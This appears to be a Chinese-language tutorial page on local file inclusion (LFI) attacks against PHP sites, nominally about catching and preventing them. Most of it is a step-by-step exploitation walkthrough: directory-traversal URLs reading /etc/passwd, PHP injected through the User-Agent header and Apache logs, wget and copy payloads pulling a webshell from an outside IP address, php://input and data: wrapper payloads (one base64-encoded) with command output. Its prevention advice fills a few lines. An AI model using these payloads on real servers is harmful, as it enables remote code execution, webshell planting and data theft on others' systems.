歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux管理 >> Linux安全 >> LFI(Local File Include)攻擊的捕獲與預防方法

LFI(Local File Include)攻擊的捕獲與預防方法

日期:2017/2/27 17:10:43   编辑:Linux安全

剛剛從網站訪問日志中捕獲LFI(Local File Include,本地文件包含)攻擊,攻擊參數為../../../../../../../../../../../../..//proc/self/environ00,攻擊截圖如下:

捕獲LFI攻擊-Local File Include本地文件包含

怎樣通過LFI(Local File Include,本地文件包含)攻擊?

第一步:尋找本地包含漏洞

首先找到一個可能存在本地包含的文件,去check它

比如: www.website.com/view.php?page=contact.php

替換成 www.website.com/view.php?page=../

我們得到一個錯誤

Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337

翻譯下以上的錯誤信息如下:

警告:包括(../) [function.include]:未能打開流:沒有那個文件或目錄在/home/sirgod/public_html/website.com/view.php

說明機會很大,只是不存在文件而已

那麼我們就針對服務器存在的文件做檢查,比如linux裡的/etc/passwd

提交

url:www.website.com/view.php?page=../../../etc/passwd

依舊是:

Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337

所以我們一層層的加上../測試,直到顯示為止

www.website.com/view.php?page=../../../../../etc/passwd

這個時候我們成功的包含了/etc/passwd

1 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:檢查proc/self/environ是否可用訪問

提交

url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到類似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

說明是可以訪問的,如果返回時個空白頁,說明是無法訪問的,也可能操作系統是FreeBSD

第三步: 注入惡意代碼

我們怎麼才能把我們的惡意代碼注入到proc/self/environ呢?

我們可以注入我們的代碼在用戶代理HTTP頭。

使用篡改數據用於Firefox的插件改變Firefox的User-Agent.Start篡改數據和請求URL:

www.website.com/view.php?page=../../../../../proc/self/environ

選擇User-Agent 寫代碼如下:

<?system('wget http://61.164.38.24/rfi.txt -O hack.php');?>

或者

<?php copy('http://61.164.38.24/rfi.txt', 'hack.php') ?>

然後提交請求。

我們的命令將被執行(將下載http://hack-bay.com/Shells/gny.txt,並將其保存為它在shell.php

網站目錄),我們的shell也就被創建,.如果不行,嘗試使用exec(),因為系統可能被禁用的從php.ini網絡服務器.

第四步:訪問我們的shell

預防LFI攻擊的方法

1.涉及到的危險函數(include(),require()和include_once(),require_once())

在這些函數調用時,盡量采用明確參數,如果使用變量做參數則變量必須明確初始化,防止變量被通過URL改變賦值。

2.禁用system等危險php函數。

PHP包含漏洞是怎樣產生的?

php包含漏洞替代技術

php開發者們犯得一個基本的錯誤是把一個不正當的變量傳遞給系統函數,特別是include()和require()這兩個函數。

這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經開始試圖通過缺省設置來消除或限制這種漏洞的所帶來影響。

但即使是簡單的本地文件包含,也會有新的技術去利用這些漏洞來導致遠程命令的執行。

介紹php包含漏洞

文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。

<?php

include($_GET['content']);

?>

http://target/index.php?content=/etc/passwd

http://target/index.php?content=http://trojan/exec.php

這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數情況下不能使用,因為php設置中的allow_url_fopen默認是off。

當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。

<?php

include("pages/".$_GET['content'].".php");

?>

http://target/index.php?content=../../../etc/passwd%00

…/的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。

如果php設置中open_basedir為on,它將會阻止你繞過過多的目錄。

網站的開發者有可能也會使用一些函數來過濾掉來自用戶提交的惡意數據,但並非總是如此。

空字節字符%00(\0)終止字符串,來切斷在它之後提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。

在http://ush.it網站中有一篇名為《PHP文件系統的攻擊媒介》提供了可能的方法來應付空字節字符。

php腳本安全也可能取決於像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發現的phplist的漏洞(phplist是一款國外的Email程序),例子為

http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/passwd

本地文件包含致遠程代碼執行

一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術在過去的幾年中出現。

有一種在服務日志中去注入php代碼的技術比上面這些包含漏洞要出現的晚。

它是有可能的去把我們的代碼插入http請求的頭部,然後包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。

考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發送一個請求可能是必須的,因為浏覽器可能會對一些字符進行轉義。

<?php  
$a = fsockopen("localhost",80);  
fwrite($a,"GET /<?php passthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".  
"Host: localhost\r\n".  
"Connection: Close\r\n\r\n");  
fclose($a);  
?>  
http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進程的環境變量的/proc/ self/environ文件。

如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現在那個文件裡,所以遠程執行代碼是可能的。

/proc/self/environ必須是可讀的

<?php 
 $a = fsockopen("localhost",80);  
fwrite($a,"GET /../../../../proc/self/environ HTTP/1.1\r\n".  
"User-Agent: <?php passthru(\$_GET['cmd']); ?>\r\n".  
"Host: localhost\r\n".  
"Connection: Close\r\n\r\n");  
fclose($a);  
?>

Php封裝包含漏洞

利用php的include函數的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數據並執行它:

漏洞代碼:

<?php  
include($_GET['content']);  
?>  
我們的請求:  
<?php  
$request = "<?php passthru('id;');?>";  
$req = "POST /index.php?content=php://input  
HTTP/1.1\r\n".  
"Host: localhost\r\n".  
"Content-type: text/html\r\n".  
"Content-length: ".strlen($request)."\r\n".  
"Connection: Close\r\n\r\n".  
"$request \r\n\r\n";  
$a = fsockopen("10.0.2.2",80);  
fwrite($a,$req);  
echo $req;  
while (!feof($a)){echo fgets($a, 128);}  
fclose($a);  
?> 

得到的結果:uid=33(www-data) gid=33(www-data) groups=33(www-data)

這個例子的前提是allow_url_include和allow_fopen_include兩個選項設置為ON,在這種情況下,標准的遠程文件包含是可能的。

這個方法的優點是它不依賴於外部儲存文件服務器。

cr0w-at.blogspot.com提到另一種技術使用”數據:”封裝:

index.php?content=data:,<?php system($_GET[c]);?>?&c=dir

或者base64編碼過的:

index.php?content=data:;base64,\PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

總結

這些方法大多都不是新的,並沒有表現出缺陷或在PHP語言本身的局限性。這些問題通常可以通過強大的輸入驗證,常識編碼,和一些預防更嚴格的服務器配置。

Copyright © Linux教程網 All Rights Reserved